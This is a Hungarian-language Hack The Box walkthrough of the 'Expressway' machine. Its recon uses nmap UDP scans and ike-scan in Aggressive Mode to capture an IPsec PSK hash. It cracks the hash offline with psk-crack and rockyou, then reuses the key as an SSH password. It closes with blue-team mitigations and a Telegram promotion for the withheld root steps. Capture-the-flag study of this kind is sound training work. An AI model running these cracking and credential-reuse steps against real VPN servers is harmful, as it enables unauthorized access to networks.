Skip to content
🎁 Giveaway alert! Win a CRTA or MCRTA certification! 👉 Join our Telegram to participate!

Expressway — HTB Writeup

Platform: Linux
Host: 10.129.113.8
Difficulty: Easy
Author: NoSec


mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.

💀 csatlakozz a backdoor crew-hoz

Recon

Az első lövés szokás szerint: gyors TCP portszken. Ha csak egy-két port él, nem dőlünk hátra — sok “csendes” gép UDP-n beszél érdekeseket.

nmap -sVC 10.129.113.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 00:22 CEST
Nmap scan report for 10.129.113.8
Host is up (0.033s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds

Itt csak SSH látszik, ami magában kevés. Tipikusan ez az a pont, ahol sokan elkezdenek brute-force-olni – feleslegesen. Inkább nézzünk UDP-t is: VPN-ek, TFTP, DHCP, DNS, stb. gyakran ott bújnak.

nmap -sU --top-ports 100 10.129.113.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 00:23 CEST
Nmap scan report for 10.129.113.8
Host is up (0.15s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

Nmap done: 1 IP address (1 host up) scanned in 141.66 seconds

Miért fontos ez?

  • UDP/500 (ISAKMP) és UDP/4500 (NAT-T) tipikusan IPsec / IKE. Ha a szerver IKEv1 Aggressive Mode-ra van állítva PSK-val (pre-shared key), akkor offline törhető a kulcs. Ez aranybánya.
  • UDP/69 (TFTP): sokszor eszközkonfigok laknak itt (routerek, AP-k), de itt most nem ez volt a fő nyom – a lényeg az IKE.

Szóval ráborítjuk az ike-scan-t.

ike-scan -M 10.129.113.8
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.113.8    Main Mode Handshake returned
        HDR=(CKY-R=04ec1a9db3726275)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.042 seconds (24.00 hosts/sec).  1 returned handshake; 0 returned notify

A Main Mode válasz mutatja, hogy PSK az auth, és elég retro suite-ok vannak (3DES/SHA1/modp1024). Ez már biztató, de Main Mode önmagában nem ad hash-t offline crackhez. Kell az Aggressive Mode.

ike-scan -M --aggressive 10.129.113.8
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.113.8    Aggressive Mode Handshake returned
        HDR=(CKY-R=261e81de0f8d9a62)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.545 seconds (1.83 hosts/sec).  1 returned handshake; 0 returned notify

Mit látunk itt pontosan?

  • ID=ike@expressway.htb: ez a peer ID (user FQDN). Aggressive Mode-ban a szerver már az elején kiküldi az ID-t, ami együtt a többi parammal elég a PSK hash offline töréséhez.
  • Hash(20 bytes): ez az a verifikációs hash, amit a PSK-ból, az ID-ból meg a többi IKE paraméterből számolnak. Ha kitalálod a PSK-t, ugyanazt a hash-t kapod → bingo.

Következő lépés: mentsük ki a crackelhető anyagot psk-crack számára. Itt az ID-t is megadjuk, hogy a tool ugyanazzal a kontextussal számoljon, mint a szerver.

ike-scan -M --aggressive --id=ike@expressway.htb 10.129.113.8 --pskcrack=psk.txt

Most már csapkodhatjuk dictionary-val. Itt egy alap rockyou ment rá, de ha kell, lehet szabályokkal, hybriddel, saját wordlisttel finomítani.

psk-crack -d /usr/share/wordlists/rockyou.txt psk.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freak<PASS>" matches SHA1 hash 5d6232c869d1<HASH>
Ending psk-crack: 8045040 iterations in 8.402 seconds (957533.11 iterations/sec)

Miért működik ez?

Aggressive Mode + PSK = rossz kombó. A protokoll elején kiszivárog minden, ami kell az offline kipróbáláshoz, így nem a szervert gyilkolod brute-force-szal, hanem lokálban számolgatod, ameddig jólesik. Ha a PSK “emberi” (szótárban van, vagy szabállyal eltalálható), el fog törni.

Pro tipp: ha nem talál, hashcat ismeri (Mode 530: IKE Aggressive Mode PSK). Szabályokkal (best64, dive, hob0rules stb.) durván jobb találati arányt kapsz, mint plain rockyou-val.

Oké, van PSK. És most? Sok labornál/életben is előfordul, hogy jelszó-újrahasználat van: a VPN PSK vagy annak variánsa SSH user jelszó is. Itt is ez jött be: ugyanazzal a stringgel authentikálható volt az ike user. Innen már csak be kell lépni és elhozni a user flaget.

Ha nálad nem adja ki: előbb mindig nézd meg az elérhető userneveket (gépen lévő servicek, konfigok, bannerek, domain/realm, ID a handshake-ből mint itt az ike@expressway.htb), és próbáld a PSK-t ezekkel kombinálni. Ha teljesen más creds kellenek, akkor az UDP/69 (TFTP) / más szolgáltatások logjaiból is csoroghat még infó, de itt nem volt rá szükség.

# (ssh login és user flag megszerzése itt történt – a parancsok és kimenetek szándékosan nincsenek részletezve)

Gyors összefoglaló

  • TCP csak SSH? Ne állj meg. Dobj rá UDP-s cant is. Itt ez hozta a meccset.
  • UDP/500 + 4500 → IKE/IPsec. Ha Aggressive Mode + PSK, akkor offline PSK-crack.
  • ike-scan szépen kiírta az ID-t is (ike@expressway.htb), pont ez kell a hiteles hashhez.
  • psk-crack (vagy hashcat m=530) szétkapja a gyengébb PSK-t.
  • Jelszó-újrahasználat: a törött PSK gyakran jó SSH-ra is. Itt ez volt a belépő a userhez.

Mit csinálj másképp, ha nem jön össze elsőre?

  • Nincs Aggressive Mode válasz?
    Próbáld --aggressive --id=<valami@domain> több ID-vel (gyakori: hostnév, user, email-szerű). Vannak eszközök, amik csak bizonyos ID-re szólnak vissza értelmeset.
  • PSK nem törik?
    Válts hashcatre (m530), tegyél rá szabályokat, és told meg saját szótárral (cég/box neve, körítés: évszám, !, @, 123, stb.).
  • SSH-n nem jó a PSK?
    Nézd át a környezetet: UDP/69 TFTP, /srv/tftp, config backupok; vagy helyi userlist/nyomok. Sokszor ugyanaz a minta tér vissza más formában.

Blue team szemmel (hogy lásd, mitől “easy”)

  • Ne használj IKEv1 Aggressive Mode-ot PSK-val. Komolyan. Vagy minimum hosszú, random PSK (nem szótár), de inkább IKEv2 és tanúsítvány.
  • Kerüld a jelszó-újrahasználatot. VPN PSK ≠ SSH user jelszó.
  • UDP szervizek takarítása. Ami nem kell, ne hallgasson (TFTP különösen fájdalmas tud lenni).

Tanulság

Ez a gép szép példája annak, amikor a TCP felületből semmi izgalmas nem látszik, viszont UDP-n ott a jackpot. Egy kis protokollismeret (IKE Aggressive Mode működése) + alap wordlist = user szint. Nem kell túlgondolni – csak a jó sorrend: UDP scan → ike-scan → PSK crack → SSH. Kész, pipa. 🏴‍☠️


🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn


☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben

💻 támogasd a nosec-et